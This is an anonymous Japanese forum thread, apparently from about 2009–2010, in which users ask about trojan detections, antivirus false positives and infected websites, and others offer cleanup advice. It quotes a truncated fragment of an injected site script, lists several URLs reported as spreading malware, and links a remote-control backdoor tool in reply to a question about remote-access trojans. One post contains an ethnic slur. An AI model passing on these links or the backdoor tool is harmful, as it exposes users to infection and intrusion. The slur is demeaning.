トロイに感染してるとPCの動作重くなったりする？
数週間前からファイル開くのにえらい時間かかるようになってて
変だな〜って思ってたんだけど
昨日トロイ検出されて削除したら途端にかるくなってんの
なんかされてたのかな　怖いな〜

極端に重くなったりはしないだろ
地味になんかおかしいなぁ程度じゃね？

http://jp.registrywinner.com/
本当にレジストリクリーナー？
検出数:289だと…。しかも有料版買えだと…。怪しすぎる…。

ルール「Bla トロイの木馬のデフォルト遮断」が ******(220.104.46.174)、1042 を遮断しました
インバウンド UDP パケット
ローカルアドレス、サービスは (localhost、1042)
リモートアドレス、サービスは (******(220.104.46.174)、1042)
プロセス名は "N/A"


ネットつなげるたびにトロイアタックが来るんだけど、
******の部分が自分なのよね。IPが自分と同じってだけ？
これってどういうことか教えてください。

富士通製PC使ってる方に質問

C:\fjuty\FSTフォルダの「FSTIEmcf.exe」ってファイルが、最近スキャンに
引っかかってませんか？
ちなみにウチはAhnLab使ってて、Win-Trojan/Xema.variantが検出されます

ググってみたら、同名のファイルがトロイに指定されてるような…

俺のは引っかからないぞ
他のセキュリティソフト試してみては？

携帯ゲーRPG板行こうとするとトロイ検出で切断しますか？って出る
前にも他板で同じようなことあったみたいだけど、自PCには問題ないのかな

>>365
ここでスキャンしてみるのも一つの手
http://www.virustotal.com/jp/

>>368 ｻﾝｸｽ
AhnLabが駆除できないって言うし、
消しても不具合ないファイルみたいなので
既に削除しちゃいました。ｽﾏｿ

他に誤検出？された人が出てくるのを待ちます…

んなもんここじゃなくてPC一般板かノートPC板で聞くなり待つなりしろ

はい、お世話になりました〜

常駐系でお勧めというか定番ってあるんですか？有料でいいのですが
a-squaredの常駐版買えばOKですかね？

どこが定番なんだよ
ドマイナーもいいとこじゃねーか

どーやら、ありとあらゆるウィルスソフトを使っても対処できない
ウィルスにかかったようだ　初めてなのでこれがどれぐらいの重度なのかわからんが
状況としては
IEを開くと時間差で別の海外のサイトが新しいウィンドウで開くといったもの
出れば手動で閉じれば対処できるが
いろんなサイトを開いてるかぎり　時間差ででるというイタチごっこ

>>364なんだけど、何気なくCCCクリーナーやってみたら
JS_GUMBLAR.ERKに感染してた。
てか5月にGENOウイルスにやられてリカバリしたってのに・・・。
たぶんコイツがトロイを呼んでたのかと。
ノートン先生入れてるけど引っかかんなかったんだよなあ

新出ウィルスかのぅ　大変だのぅ

とりあえずIE関連のプロセスを網羅してみたらどうよ

トロイの木馬って通販とかで住所書いてるとき
相手から見えたりするの？

えっ

見えたりする木馬も有るんじゃねー？

NetBusやらBO2Kみたいなバックドアのタイプだったり
キーロガーやスクリーンロガーだったり

AVGで検出された、トロイの木馬SHeur2.AYOE AYOA AYNH AYUO AWOLAWOM AWON AWJU AWOJ×2つ
AWSU AWKT×2

トロイの木馬Generic14.FVVは
削除して大丈夫でしょうか？

>>380
感染し過ぎだろ
SHeur2.　＝　AVGのヒューリスティック（予測）検出
Generic14.　＝　AVGのヒューリスティック（部品）検出

セキュリティ初心者質問スレッドpart120　　の◆N9P3SuvBPo（AVG使いのヒマ人）に今後の指示をもらいましょう
http://pc11.2ch.net/test/read.cgi/sec/1250027233/

RSAセキュリティがフィッシング対策の新サービス、トロイの木馬対策を国内提供
http://sokuho.vndv.com/it/

PC起動した直後にタスクマネージャーを見ると
Reader_s.exeなるプロセスが存在しています
ぐぐったところトロイということなんですが

改めて今タスクマネージャーを見るとReader_s.exeが消えていました
ウィルスではなかったんでしょうか？

ＦＣ２ブログの画像リンクをクリックすると、ノートンの警告画面ででTrojan.Giframeが
表示されます。変なＧＩＦイメージが入り込んでるのが原因だと思いますが、どこから削除すればよいでしょうか？

384です。具体的には、画像をアップしているサイトの
ttp://blog-imgs-30.fc2.com/
でTrojan.Giframeが見つかったと表示されます。

それ今楽天でも見つかってたな

こういうの未だになくならないね。
上のGIFって画像データにエクスプロ意図が入っていて、バッファオーバラン
で実行されてしまうタイプですね。

昔のOS/2ってのは、CPUのメモリーがUNIXやWindowsと違ってフラットメモリー
モデルじゃなくてセグメントモデルで、データセグメントとコードセグメント
が分かれていて、x86の機能を上手く利用しているんだが、こういう
エクスプロイトには強いんだが、そういうOS使うと潜在的な危険が避けられる
んだがね。皆んな知らないのかね。
確か、今でもOS2Warpはパッチが出ていて、最新のハードとかサポートしてる
はず。確かSPでいうとSP14とかSP16が出ていたはず。

>>387
そういう機能も対策も、最近のCPUは実装されてる。
http://ja.wikipedia.org/wiki/NX%E3%83%93%E3%83%83%E3%83%88

Windowsだと、対応はXp Sp2以降。

既に実装されて数年たってるので、皆知ってると思うよ。
つーか、そういう書き方すると、OS/2とかいつの時代の話だとかつっこまれるかも。(w

>>387
埋め込まれていたのはマシンコードじゃなくてJavaScriptだった

【ﾉｰﾄﾝ】Norton Internet Security Ver.172【2009】
http://pc11.2ch.net/test/read.cgi/sec/1251033748/765-780

画像ファイル八頭さん保全してないかしら

>>387
>>388
>>389
384です。書き込みどうもありがとうございます。
しばらく待って、ノートンの定義ファイルが更新されれば治るのかな？
楽天のも同じような症状みたいですし。

Trojan/Pasta.7EC3というのに感染したようでホームページがかってに書き換えられてしまい、検索プロバイダも変更できなくされてしまいました。
avastやmalwarebyteのantimalwareでスキャンしたのですが駄目そうです。どなたかおたすけください。
チャンコロの検索ページがいつも出てきてうっとうしいです。

ttp://www.anchiva.com/virus/view.asp?vname=Trojan/Pasta.7EC3
にでてるやつのようです。

リカバリ

やばすぎやろ
HOSTSファイルとかチェックしたか？

ieを削除しようとｓｐ2に下げたところｓｐ3にできなくなりました。セキュリティー更新が出来ない状態です。フォーマットしようかな。

そらリカバったほうがええんと違う？

とりあえずｶｽﾍﾟを入れて様子見です。

>>391
「a-squared Free 4.5」 ウイルス・トロイの木馬のスキャンと駆除 （*常駐保護は無し *日本語インターフェイス ）
　 ttp://www.emsisoft.com/en/software/free/

すまん誰か助けてくれ
Googleから翻訳サイト検索してある翻訳サイトを開いた瞬間にMcAfeeがトロイの木馬を検出…
即駆除してスキャンしてもウイルス見つからなかったんだが
それ以来Googleのトップを見ようとすると何故かその翻訳サイトにアクセスされて
その都度トロイの木馬を検出→駆除→スキャンしなきゃならん
早い話Googleが使えなくなった
どうすればいいかな？

hostsファイルを見てみれば？
異常が無ければとりあえずパケットキャプチャしてみてグーグルから301やら返されなければ自分が原因だから
いろんなブラウザでグーグルにアクセスしてそれでも同じなら・・・・
あとは適当にがんばれ
書ききれん

>>398
ありがとうございます。カスペでは検出はしても削除はだめなので試してみます。

>>400
ありがとう！
とりあえずhostsファイルは書き換えられてなかった
パケットキャプチャは調べたけどイマイチよくわからなかった
あとyahoo検索→Googleでアクセスしたら変なトップページに繋がってトロイの木馬に引っかかったけど
66.249.89.147からアクセスしたら通常のトップページに繋がった
色々いじってみます

>>398
ためしてみました。セキュリティ関係は修復できたのですがやはりエクスプロラーはハイジャックされたままでした。
面倒なのでクリーンインストールします。ありがとうございました。

ttp://j-net21.smrj.go.jp/develop/digital/entry/001-20090325-01.html

たった今ＡＶＧでスキャンしたところ隔離室に
感染　トロイの木馬backdoor generic9.pvvとでました。
これは隔離されているのでこのままで大丈夫でしょうか？
ちなみに場所は
E:\Adobe Crearve Suite2 Premium\Keygen1.exe
とかいています。
どのような処置をすればいいですか？

笑えばいいと思うよ

>>405
いきなりAdobeのKeygenとか...怪しファイルはダウンロードしちゃ駄目でしょ。(w

隔離されてるファイルは大丈夫だけど、いつも同じ事してるんなら、他にもウイルスいたり、
バックドアが開いていたり、botが住んでいるかもね。

隔離ファイルの消去方法は、AVG使ってる人が来れば教えてもらえるかも。
あたしゃAVG使ってないんで、細かい使い方はよくわからん。

あと、個人的には、Symantecとかのオンラインスキャンを1回はやっておいた方が良いと思う。

KeyMaker-DVTにトロイ多いんだね

すみませんが教えて下さい。

トロイの木馬に感染した症状でPCを起動する度に日付が2020年9月5日11時になるという症状はありますか？

トロイの木馬でなくてもこの様な症状になるウイルスはあるでしょうか？

会社のPCが二台この状態になって困ってますのでどなたか教えて下さい。

ちなみにどちらのPCも新品購入で1年しかたっていないので電池切れではなさそうです。

あるよ。
とっととフォーマットおすすめ。

昨日から20時間以上も格闘して、結局クリーンインストールを決意した。orz
readers_sやらその亜種に感染したんだけど、フリーソフトでは駆除できなかった，Spybot、ThreatFire，PC Tool，といろいろ試したんだけどね。
カスペはさすがだと思った。映画Matrixに出てくるAgentのように自己増殖したファイルをことごとく見つけ出した。
あぅ〜，これから元の状態に戻すのに徹夜になるだろうｗ

感染しちゃった
耄碌しちゃったかな

Trojan.Webkit!htmlに感染した
シマンテックのオンラインスキャンしたら感染ファイルが検出されたんだけど
それからシステム復元の無効化やら再起動して、
削除しようとしたら感染したファイルが見あたらない
再びスキャンしても検出されない…
その他色んなとこでスキャンしたんだけど何も出てこなかった
これは安心していいのかなぁ…謎だわ

今日２ちゃんねる見てたらだまされて感染したんですが…ほっといても大丈夫なんでしょうか？

　　　　　　　　　　　　 ／）
　　　　　　　　　　　／／／）
　　　　　　　　　 ／,.=ﾞ''"／
　　　／　　　　 i f　,.r='"-‐'つ＿＿＿_　　　こまけぇこたぁいいんだよ！！
　　/　　　　　 /　　　_,.-‐'~／⌒　　⌒＼
　　　　／　 　,i　　　,二ﾆ⊃（ ●）.　（●）＼
　　　/　 　　ﾉ　　　 ilﾞフ::::::⌒（__人__）⌒::::: ＼
　　　　　　,ｲ｢ﾄ､　　,!,!|　　　　　|r┬-|　　　　　|
　　　　　/　iﾄヾヽ_/ｨ"＼ 　　 　 `ー'´ 　 　 ／

HEUR:Trojan-Downloader.Script.Generic

とあるサイトを開くと必ずカスペルスキーがコイツを検出しているんだけど、
どうしてだろう？
その都度削除しているみたいなんだけど。

【情弱速報】mixiのサーバがウイルス感染！？アクセスするとトロイを仕込まれる危険！【出会い厨死亡】
http://pc12.2ch.net/test/read.cgi/sns/1254189333/

159 名前：友達の友達の名無しさん[sage] 投稿日：2009/10/06(火) 23:34:29 ID:m3j+MiqZ0
なんか急に、アクセスするとTrojan-Downloader.Script.Genericが検出されるようになったんだけど俺だけ？
ソフトはカスペ。

160 名前：友達の友達の名無しさん[sage] 投稿日：2009/10/06(火) 23:35:43 ID:EvjybTvI0
>159　うちのカスペも反応する

161 名前：友達の友達の名無しさん[sage] 投稿日：2009/10/06(火) 23:36:12 ID:/gFxAyuB0
>>159　俺もカスペで検出される

162 名前：友達の友達の名無しさん[sage] 投稿日：2009/10/06(火) 23:43:10 ID:rSf7OeKz0
>159-161　同じくカスペ。誰か他ので引っかかってる人います？

>>417

まさにそれ。
あんがとー

最近トロイウィルス対策ソフトが見付けた。
ずっと無料使えるそうです。
http://www.vector.co.jp/soft/winnt/util/se478699.html

>>419
中国製って時点で回避だなぁ．．．同じ中国製なら、まだKINGの方がマシっぽい。どっちも使う気無いが。

胡散臭すぎだなｗ 中国製なら
Rising＞Jiangmin＞King＞他
いずれにしろ台湾製のバスターのがまだマシだ

>>421
台湾も中国の一部だぞ
お前はどこの国で教育を受けたんだ？

最新版　フリーのアンチスパイウェアソフトにおける性能比較

ttp://forums.iobit.com/showthread.php?t=4036

LAN上にある家族のPCがトロイに感染しました。
AVGでPSW.Generic7.AAULという名前でトロイとして検出されたファイルで、
tax-statement.exeが実行ファイルらしいのですが、すでに削除とOS起動時の
スタートアップはクリアになっています。
ルーターを使ってネットに接続しているのですが、これに感染した状態で
ショッピングサイトでクレジットカードの番号等の入力をした場合、
ルーター下であっても盗み見される可能性はありますか？

ＮＴＴのセキュリティツールで検索したところ、
TROJ_ADROP.VXX　隔離できません　　と出てきました。
知識がぜんぜんないのでよくわからないのですが、これは何か
感染されているのでしょうか？？
またどうしらたらいいでしょうか？
調べたのですが見つからなくてカキコしました。

アダルトサイトにアクセスしたら警報鳴りやがった。
これ管理人が入れてんのか？すざけんなああああああああ

>>424-425
とりあえずwindowsのファイアウォールの設定を開いて
「例外」に怪しいファイル名がないかチェックしてみては？

>>427
怪しいのはなかったです

私もどこかで踏んだ・・・
AVGfreeで、ClickerとDownloaderっての
一応処理したけど、もう出てこないことを願うばかり

>>428
他のセキュリティソフト試してみるとかは？
以前、無料版をいくつか拾って試してみたら3つ目で処理できたと記憶してる

>>430
AVGでやったら何かわからないけど新しく何個か見つかりました。
TROJ_ADROP.VXXはあったかよくわからないですが、とりあえず動作に問題が出てないので
そのまま使ってます。

基本的なことだけど、タスクマネージャーのプロセスと
msconfigのスタートアップにも怪しいものがないかチェックした方がいいね。
もうやってるかもしれないけど。

Security Toolってのが沸いて何もできなくなったので、結局再インストしたよ
トロイ恐ろしや・・・

最近ある日からいきなりAVGでウイルス検索をしたらトロイの木馬やウイルスなどが
何個もいっぱいでてきて、それは全部修復して隔離可能なのですが、また次の日に検索するとまた同じくらいいろいろ
出てきて、これがい毎回なのですが、どうしたらいいでしょうか？？

そのつどいつも修復して隔離してます。

>>434
リカバリー推奨
またはOSから再インストール

>>435
やっぱそうなりますか。

リカバリで、トロイは完全削除できるんですか？
最近続けざまにマルウェア検出して凹んでいます。
を
（1回目）
AVG・無料版入れてた。
ニフティのカスペルスキー・オンラインスキャンをしたところ、トロイを一個発見。
トロイを削除したのち、気持ち悪いからPCをリカバリ。
（2回目）
ウィルスバスター2008・体験版入れてた。
バスターのフルスキャンでトロイを二個発見。
トロイを削除したのち、気持ち悪いからPCをリカバリ。
（3回目）
ノートンセキュリティ2008・体験版入れてた。
トラッキング・クッキーを一個発見。トロイは出ない。
「閲覧の履歴の削除」でクッキーは全部消したはずだけど、なんで出るんだろう？
クッキーを削除ののち、現在に至る。
（現在）
Windows Live ＯｎｅCare・クリーンアップセンターを実行、
8件のレジストリ削除エラーが出て大変気持ちが悪い。

AVGでスキャンかけたところ
Generic12.BQMMに感染していることが判明
すぐに隔離後削除しましたが感染していたと思われるファイルは
アクセスできないとのエラーで削除できずじまい
特にタスクをみても変なものが動いている様子はないのですが
詳しい方いたら詳細を教えてください
ちなみに今のところ症状らしきものは一切ありません

AVGがトロイの木馬backdoor.Generic12.BOFというウイルスを4件検出したのですが、
隔離することができれば以後問題無いでしょうか？

既に裏口が作られていた場合、リカバリー以外の対処法があるのかどうか...

IEでVeoh Web Playerが動かなくて困ってます

Firefox → 通常使うブラウザ。Flash&Veoh Web PlayerアドオンOｆｆ
IE → 動画閲覧専用
こんな使いかたしてる人、私以外にいないよね・・・


それと、Veohのサイトに行くと広告ポップアップが開くのは仕様でしょうか
ポップアップブロックすると、検索フィールドにフォーカスが当ったときに
新しいタブでad.yieldmanager.comが開くようページを改竄する念の入れようです。

スパイウエアの感染を疑ってノートンとSpyBot、Free online Trojan Scannerで
スキャンしてみましたが、ウイルスは検知されませんでした

誤爆です。すみません

age

avast!4.8でローカルディスクの完全スキャンをやったのですが、
『ProAgent-AJ [Trj]』というトロイ（？）が一つ検出されました。
検索してみたんですが、同名のトロイ（？）について
日本語で書かれてるサイトが見つけられなかったのでかなり不安な状態です。
モノは試しと思い、トレンドマイクロのオンラインスキャンで
再度該当ファイルをスキャンしてみたのですが、
何故かこちらでは一つたりとも検出されませんでした。

該当ファイルはCDイメージファイルなんですが、
今まで特に問題もなく正常に機能してましたし、今も特に問題ないんです。
avast!4.8にて完全スキャンしたのは、先日変な現象が起きた為です。
amazon.co.jpでブラウズ中に、突然回線が切断→再接続→切断という感じで、
明らかにおかしい動作をしたので、完全スキャンに踏み切ったんです。
勿論、avast!4.8は普段から常駐させてますし（更新ファイルも常に最新）、
Spybot S&Dにて週２くらいの割合でスパイウェア対策もしてます。
切断→再接続の動作自体は今現在は正常で特に問題はないです。

『ProAgent-AJ [Trj]』の危険性はどれほどなのか御存知の方がおられましたら
是非アドバイスをお願いします。

ゲームをインストールしようと思ったら感染した模様
AVGでスキャンしたらCD-ROM自体に入ってるみたいだが、もう使わない方がいいかな？

トロイの木馬に感染したら
アプリケーションが起動しなくなってしまいました。

ウイルスバスター2010で削除したのですが
起動しない不具合は直りません。
どうすればいいでしょうか。

>>439
自分もAVGから警告、まったく同じファイル名で検出、隔離されました。
トロイ感染は初めてなんで、なんか怖いです;

てすと

お、書き込めた
AVGでのトロイの木馬backdoor.Generic12.BOFはここ数日名前が出てきているが
その名前でググれば解決するよ
隔離なれば一応問題なし
そしてそのご認知の原因であるJWordいらなければアンインストール

Jwordってタチ悪いよな
昔DivXに入ってたGainみたいだ

ご認知→誤認知　ね

先にノートン先生入ってて、AVG入れようとしたら
先生アンインストールしろって言われるんだが、
無視してインストールしてもおｋ？

無理

PCがトロイの木馬に感染しています。(avast!で検出)
avast!の削除ボタンを押したらそのときは落ち着きますが、再起動するとまた同じ警告が出ます。
つまり削除方法がわかりません。推薦する処理はチェストに移動になっています。
あとCドライブを開こうとすると「C\ アプリケーションはwin32モードのため実行できません」と表示され開けません。
ウィルスと関係あるのでしょうか？

ファイル名：C:\DOCUME"1\○○○○\LOCALS"1\Temp\4tddfwq0.dll
マルウェアの名前:Win32:Patchd-HN[Tri]
マルウェアタイプ:トロイの木馬
VPSバージョン:091023-０．2009/10/23

>>453
> avast!の削除ボタンを押したらそのときは落ち着きますが、再起動するとまた同じ警告が出ます。

つ【ブートタイム検査】

ttp://www.iso-g.com/modules/xfsection/article.php?articleid=33
> オンデマンド検査や標準シールドなどによりマルウェアが発見されたら、
> 念のために ブートタイム検査 を実施しましょう ( Windows NT/2000/XP の場合 ) 。
> 特に何度も同じファイルが検出される場合に有効です。 ブートタイム検査は
> OS が完全に起動する前に検査を実施しますので、マルウェアが活性化する前に捉えることができます。

>>454
ありがとうございます。
とりあえずやってみて結果は後ほどご報告いたします。

ブートタイム検査で先ほどのウィルスを発見したのでdelete all押しました。
ところがどっこい起動したらまた発見されやがりました。

これはもう手遅れでしょうか？

AVGで定期的にトロイの木馬Agent_r.PCってのが検出されるんだが・・・
同じ症状の人いない？

>>453と同じような感じで、朝起きてみたら
パソコンを起動→ユーザー選択→個人情報を読み込んでいます→デスクトップの壁紙だけ表示

で、固まってしまいます。
対処法があれば、どなたか教えて下さいまし。

>>456
おいらだったら、avast!で解決は諦めて、SUPERAntiSpywareかMalwarebytes' Anti-Malwareでスキャンしてみるかな。

素朴な疑問なんだが、avast!を常駐してる状態でトロイ食わされるwebページって、どの辺りだろう？

妹のPCメンテ中にAVGがtrojan downloader.generic9.vnzなるものを見つけた様子
トレンドマイクロオンラインスキャンでは検知できなかった
とりあえず隔離室から削除、レジストリエディタでも一通り削除して様子見中
大丈夫だといいな

大丈夫だと思うけど、どうせならノートンのほうでスキャンしたほうがいいかな。

avastのスレ見に行こうとしたらトロイの木馬いるって警告でたんだけど、
いつくらいで駆除されんだろ。2chって結構ウィルスいるんだな。

なんでそんなつまらない釣りするの？

avast!トラップだな

いままで普通にJaneを使えていたのに、いま起動させようとしたところ
avastが反応して、『トロイの木馬を発見しました』とでてきて、起動できない
・・・。
そこで、もう一回ダウンロードしてみようとしたところ、ダウンロード中に
「トロイの木馬を発見しました」って出てくる・・・
どうしてーーーー

誤検出じゃね
もう得意技だね

>>467
とりあえず、avast一時停止させてJane再インスコしました・・・

さっき実況にいたんだけど、
途中からavastがトロイの警告してくる。
一応駆除してるけど、実況板にウィルス貼った奴がいたのか。
全く迷惑な話だな。

あれ？俺もたったいまavest常駐させた状態でJane style起動したら｢トロイの木馬が検出されました｣ って出たよ。
一斉に誤探知か？

と、思ったら朝からavestの誤探知祭りらしい。

今他で見てきたら、avast誤認知らしいね。
焦ったよｗ

avast自体がトロイそのものじゃん

トロイの木馬に感染するよりも、誤検知のほうがウザかったりして…。

>>466
自分も３日にJaneで同じ現象半日潰れたな
ここのところavastの更新が異常に多かったが
トロイの異常感染でもあったのかな！？

今回のavast!の不具合、たまにはそういうこともあるかなって思ってるよ。
不具合が続いたら続いたで、まだ他にも選択肢あるし。

俺なんてたまたま学校の前を通りかかった時、3階の中学生から
「痴漢だ！痴漢がいる！　おいコラ痴漢！」
って騒がれてもグッとこらえたのに…

なんで歩いてるだけで痴漢なんだろ…。

avast!の暴走、終わったんだな…。

ＨＰなどを見ていたら、
「トロイの木馬」の警告がでてきました・・・。

初めてのことなので何もわかりません。

これって感染したのでしょうか・・・。

エスパーじゃないからさ。
使っているアンチウイルスソフトのスレで。

２ｃｈの結城リナのトピックの 749 で
貼ってあったurlをクリックしたら、
グロイ画面(恨み)がでてきて消そうとしたら、
『逃げるのか？』と出てきて画面が消せずに
また消そうとしたら『逃げるのか？』が羅列した
画面が出てきてしまい消せなくなってしまい
強制終了しました、その後ウィルスバスターで
検索ました、検索画面で一番はじめに、
『検索中ートロイの木馬』の字がでました、結果、
大丈夫でしたが、ウィルスソフトでも分からない場合がある
と聞きましたので、分かる方がいたら教えて貰っても
宜しいですか？パソコン初心者なもので
ご教授を宜しくお願い致します

パソコン初心者は
http://pc11.2ch.net/pcqa/

滋賀県高速道路利用センターのHPにトロイか？
www.biwako.ne.jp/~kohsoku/

>>482
これだな
http://set.bbspink.com/test/read.cgi/avideo2/1221698189/749

４８３さん、４８５さん、ありがとうございます、
４８２の者です。ちなみにこんな内容です、トピック『結城リナ』より

749 ：名無しさん＠ピンキー：2009/12/31(木) 16:55:46 ID:jE2BKvw/
なかなか良い
http://members.jcom.home.ne.jp/naoko7140/novel/death2.htm

上のは、くれぐれもクリックしないでくださいね、
けど、見ただけではウィルスかは分かりませんよね。
失礼しました。

４８５さん、その紹介してくれたサイトは正直、
怖いのでクリック出来ません、すいませんです。

４８６の者です。４８５さん、
そのサイトもしかして、私が指摘したのと、同じですね？
(結城リナのトピック)
すいません、勘違いしてしまいました。
失礼しました。

ウィルス撒き散らしても黙殺
154 ：名無しさん＠そうだドライブへ行こう：2010/01/05(火) 00:44:23 ID:EQ9ctg6w0
ウイルスソフトが「トロイの木馬だよ」って拒絶するんだけど、
何か仕込んでるってこと？

156 ：名無しさん＠そうだドライブへ行こう：2010/01/05(火) 11:55:32 ID:kS3nQPGp0
検出されたウイルス（ワーム、スパイウエア）
Trojan-Downloader.JS.Agent.ewh
www.mag-x.com サーバの位置情報

157 ：名無しさん＠そうだドライブへ行こう：2010/01/05(火) 18:02:32 ID:goP4rkjn0
>/*GNU GPL*/ try{window.onl
ブログのページ開くなよ。
感染するぞ。

158 ：名無しさん＠そうだドライブへ行こう：2010/01/05(火) 22:02:57 ID:kI+PreKQ0
Acrobat使ってsiszyd32.exeと言うプログラムが侵入。
ftpのパスワード盗まれた様で、自分のHPが改ざんされていて、プロバイダーから
削除依頼が来ました。
HPの改ざんは公的機関のチェックに引っかかったそうです。

芸能プロダクションの「スペースクラフト」のサイトがトロイの木馬に
感染しています。

ttp://www.spacecraft.co.jp/

吉野紗香のページ見ようと思ったらカスペルスキーが反応。
Trojan-Downloader.JS.Agent.ewh

ガンブラー・・・だったのかな？
年末に、優良のHPにアクセスしたら、トロイの木馬に感染したよ・・・
新種なのか検索しても、出てこなかった・・・

一応、ホンダ、モロゾフなど、新聞が書いてあるHP以外だったんだけどね

ウイルスソフトがトロイの木馬を検出しました
しかし、そのソフトが推奨している方法で隔離（？）しました
これだけで安全なのでしょうか？
今後普通にこのパソコンを使っても大丈夫なのでしょうか？

>>490
告知しないとこのほうが多いよ(特にすぐヤラレちゃう上に数が多い中小企業)

俺も取引先のHPの改竄見つけて教えてあげたけど、
お礼もそこそこに、どこにも漏らすなと圧力掛けられたよ。

2chにこっそり書けばいいのに

ガンプラに関してはaguse（カスペ）しか頼りにならないのね。

avastも(ついでにGDATAも)SophosもNOD32もおっけ
jsをシカトしてhtmlに限定すればMcAfeeもBitも(ついでにF-Secureも)おっけ

aviraもOK

４８７，４８６のものです、
４８５さん、やはり載せたのは、ウィルスですか？
度々すいません、宜しければ
教えてもらっても良いですか？

モロゾフの公式サイトでトロイ配布中
http://tsushima.2ch.net/test/read.cgi/news/1262611814/

このときはaviraが役立たず過ぎてあせった。

>>498
おまえが犯人だろ。必死すぎなんだよ。

４９８です、５００さん、
犯人ではないですよ。
２チャンの結城リナのトピックの
７４９が書いてあったたサイトを踏んでしまっただけです。
おっかない『恨むぞ』みたいな画面になってしまったので、
ウィルス感染してしまったかもしれないので、
確かに必死です、情報が欲しいですから。
不快に感じてしまいましたら、すいませんです。

２チャンってナンですか？

ウイルスじゃないのでは？

パソコンを起動するたびにクイックスキャンでインターネット一時ファイル
キャッシュからトロイが検出されるんだけど，リカバリするべきですかね？
symantecのサイトを参照すると駆除：易ってあるんだけど，駆除方法ためして
も駄目だった…

501のものです、
502さん、２チャンネルです、これです。
結城リナのトピックの749に貼られてたサイトを踏んで、
しまったんです(このトピックの486で詳細をのせてます)
503さん、ウィルスではないですか？
そのグロイ画面になった時は、画面が消せなくなって強制終了しました。
その後、症状はまだないのですが、バスターで検索をかけても、
何も引っ掛からないです、けどウィルスによっては引っ掛からないときも、
あるのですよね。そもそもウィルスにやられた瞬間て分かるものなのですか？

↓このスレにカスペがトロイ反応したから気をつけろ

※ McAfee分散型セキュリティシステムってどうよ？

ﾌﾟ

クライアントのサイトがトロイに感染したらしく別の客から連絡があって
「なんとかしてくれ」って連絡きたんだけど、
3年位前に作ったサイトだし、
あたし、デザイナー何すればいいのか全くわからん。

macユーザーなもんでうとくてうとくて…

一応サーバー屋に連絡してみたけど、
営業時間終わってて週明けじゃないと繋がらないw

先方の担当にもそれを伝えたら
「わかりましたー。本当に感染してるんですかねぇ？」ってのほほんな感じ。

サイト自体がばらまく場合の感染経路はやっぱり外部からのハックなの？
それとも内部にウィルスを持ってる人がいてその人がコントロールパネル的な
モノにアクセスをして感染とかするの？

おせーて下さい

気持ち悪いです。

>>508
外部からjavascriptとかを書き込むパターンが多いとは聞きます
あと以下のスレにも詳しい人がいそうです
↓
【Gumblar/GENO】Web改竄ウイルス総合スレ3【8080】
http://pc11.2ch.net/test/read.cgi/sec/1263865118/l50

コピペですいません。

北斗の拳更新切らしてしまって、なんかヘンなサイトを踏んでしまい、
トロイの木馬警告が出ましたんで、もう一回踏んでみたら、
マカフィー無料スキャンで「JS/Redirector.cに感染しました」と出ました。
そこでウイルスキラーゼロを買ってきて、スキャンさせても「感染0」
もう一度マカフィー無料スキャンをやってみても「感染0」になります。
これは感染しているのでしょうか？

誤検出だと思うけどなー

exe改変でアンチウイルスソフト回避で思った事はトレンドマイクロ糞だな

vistaに感染するback orificeやsubsevenの用な遠隔操作できるトロイの木馬はあるのでしょうか？

>>514
ざらにある。

>>514
MZ Backdoor
http://www.geocities.jp/katayama_hirofumi_mz/mzbdoor/

トロイの木馬がノートン使えなくさせるというのはあるかな？

ウイルスを自社開発するのがセキュリティー膾炙のお仕事

www●kanai-cpa●or●jp

ボクもわたしもウイルス拾いしたいょー
　　　そんなあなたのご要望にお答えします

♥ういるすキラーRISING 瑞星
　　　　　　友の会サイト♥
http://bbs.ikaka.com/showforum-20035-2.aspx

トロイの木馬が私のパソコンに侵入した。
アンチウィルスソフトがウィルスを消してくれたけど、
その間に私の個人情報が流れまくっている事だろう・・・・・。

ttp://irving-maichi.jp/
にトロイの木馬が仕掛けられている可能性あり
java scriptで自動でダウンロードされ
感染するかもしれませんよ

ipxycoo.bak というファイルがWin32:Kate AL[Tri]という名前のマルウェアに感染しています。avastで検知して、削除していますが無限にわいてきます。どうすればいいでしょうか？

ウィルスソフト販売伸ばす為にウィルス感染ソフト流通されてるんでしょ　

TROJ_GEN.UAB241Wというのを検出したんですが、ウィルス一覧などで調べてもググッてもヒットしません。
どんなトロイの木馬かわかる方いましたら御教授下さい。お願いします。

>525　知らないうちに掘られてるよ！うん、きっとそうさ・・・
そのくらい気をつけなきゃいけない木馬ってこと！！

＞526
そんなやばい木馬でしたか…。駆除して今のところ実害は無いですが、パスワードとか変えます。。

>527　
＞駆除して今のところ実害は無いですが、
もう既に漏れ洩れだと思うよ・・・

去年の5月頃に俺がかかったreader_s.exeウィルスは凶悪すぎた。

�@ウィルス起動

�Aネットワークサイトからreader_s.exeを強制的にダウンロードして起動させられる(目では見えない)
(この時点でもうパソコンの一部のサービスがウィルスにより壊されているためエラーが頻繁に出る)

�BHDD(その時点で繋いである記憶媒体も)に入っている全ての実行プラグラム(.exe)が改ざんされ、全ての実行プラグラムが�@と同じウィルスを持つようになる。
以降ループ。


怖いことに
もう今までのデータは諦めようとして、CドライブをフォーマットしてOS再インスコしても、その後ほかのドライブに入っていた感染されし実行プラグラムを起動することでまたPC壊れるハメになるんだよなあ

参考までに。

今日バスターがトロイ検出したんだけど
感染したファイルを消せばもう大丈夫なの？
因みにtroj_gen.mzなんちゃらってやつ

>530　もう他のファイルもBastered!!

>>529 どうすればそんな凶悪なウィルスにかかるか逆に気になる

海外ネット見てたらウイルスがなんとかって
表示が出てファイルをスキャンしますみたいなのが
勝手に始まり、途中で止めたんだが
気になってシマンテックノオンラインスキャンしたら、
一時フォルダにdownloaderってのがあった。

どうやらトロイらしいんでノートン先生とか
アバスト使ったりしたんだが、何故か
シマンテックのオンラインだと引っかかる。。。
AVGも試してみたが何も引っかからない、
一時ファイルはIEのもwindowsのも消したんだが
それでも変わらず。
しまいにはオンラインでも引っかからなくなったｗ

これは初期化ですかね？

たぶん>>530と同じやつだと思うんだけど、バスターさんがTROJ_Gen.MZ40M2ってのを検出した。
ググってみても海外のサイトばっかでこれがどういうウイルスなのか分からないんだけど、やっぱりリカバリーするべきなのかな？
質問だけで申し訳ない。

>534　リカバリしても、別ドライブあるんならそっちまでやられてるかもよ・・・

MZ back doorって相手のダイナミックDNSのサーバー(?)知らないと出来ないんですか？

http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_EMBEDDED.BW&VSect=T
このウイルスを検出して削除しました
最近ブルースクリーンエラー＆再起動や突然のフリーズに困っていたんですがこれは関係ないですかね？

トロイの木馬でいちばん嫌なのはただのスパイウェアじゃなくてリモートコントロール機能があるソフトｗ

